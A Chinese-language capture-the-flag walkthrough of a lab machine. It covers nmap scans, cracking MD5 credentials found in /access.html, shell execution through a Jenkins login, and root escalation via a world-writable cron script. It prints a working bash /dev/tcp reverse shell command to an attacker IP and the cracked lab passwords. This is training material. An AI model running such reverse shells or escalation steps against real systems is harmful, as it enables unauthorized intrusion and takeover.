信息收集
主机探测
sudo nmap -sn 192.168.88.0/24
获取到目标靶机IP 192.168.88.131
初步扫描
sudo nmap -sT -p- --min-rate 10000 192.168.88.131
可知开放了22SSH、80TCP、3306MYSQL、8080 http-proxy端口
详细信息扫描
sudo nmap -sT -sV -O -sC -p 22,80,3306,8080 192.168.88.131
可知
22 SSH OpenSSH 7.4 (protocol 2.0)
80 HTTP Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
3306 mysql MariaDB
8080 Jetty 9.4.z-SNAPSHOT
OS:Linux 3.X|4.X
还有一个rebots.txt
漏洞脚本扫描
可知TRACE is enabled(该功能可能导致敏感信息泄露)
8080端口下/robots.txt
UDP扫描
没有可利用信息
服务识别
尝试访问80和8080端口,查看rebots.txt
80端口和robots.txt里面似乎没有有效信息,源代码里面也没有。
8080端口似乎是一个后台登录界面,并且使用了Jenkins(一个开源的、基于Java开发的持续集成工具,用于自动化各种任务,包括构建、测试和部署软件。)
目录扫描
尝试对80端口进行目录扫描,指定php和html
发现一个/access.html
获取用户名和密码
访问/access.html
得到疑似3个用户名和3个密码,密码应该是被md5加密了
解密MD5哈希值
得到三组疑似账户密码的组合
tiago:italia99
trindade:marianna
eder:vipsu
后台登录
后台登陆
尝试登录8080端口
使用eder:vipsu成功登录
利用Jenkins执行Shell命令
在添加新item的时候,发现可以执行shell命令
反弹shell
尝试反弹shell
sudo nc -lvp 4444
bash -i >& /dev/tcp/192.168.88.129/4444 0>&1
这条命令的意思是启动一个bash shell,然后将shell的输入和输出都重定向到到kali的TCP连接。
成功获得反弹shell
提权
查看用户权限
查看当前用户的权限、操作系统版本、是否可使用sudo
操作系统没办法知道是具体的哪一个,暂时没想法利用系统漏洞提权
权限似乎比较低,没法使用sudo,但是可以查看/etc/passwd,不能查看/etc/shadow
查看计划任务
查看是否有计划任务(联想到jenkins)
cat /etc/crontab
发现一个以root权限执行的计划任务,使用了一个CleaningScript.sh的文件。如果当前用户有这个文件的写权限,那么就可以利用该文件提权。
查看文件权限发现所有人都对这个文件有读写执行的权限。
利用可读写执行的sh文件,执行反弹Shell获取root权限
尝试提权
成功提权
获取flag
flag就在root目录直接查看
总结
首先使用nmap进行了端口扫描,发现了一个后台登录接口。通过目录扫描,得到了一组用户名和密码,能够登录到后台的jenkins系统。在jenkins系统中,新建了一个item并执行了shell命令,从而获得了一个反弹shell,可以得到了一个低权限用户。
进一步发现了一个以root权限运行的计划任务,该任务执行了一个sh文件。幸运的是这个sh文件对所有人都是可读写执行的。通过向这个sh文件写入另一个反弹shell,成功地获得了root权限,最后获取flag。
本次渗透关键是敏感信息泄露了,得到了后台的账户密码,另外就是计划任务不应该让所有人具备写的权限。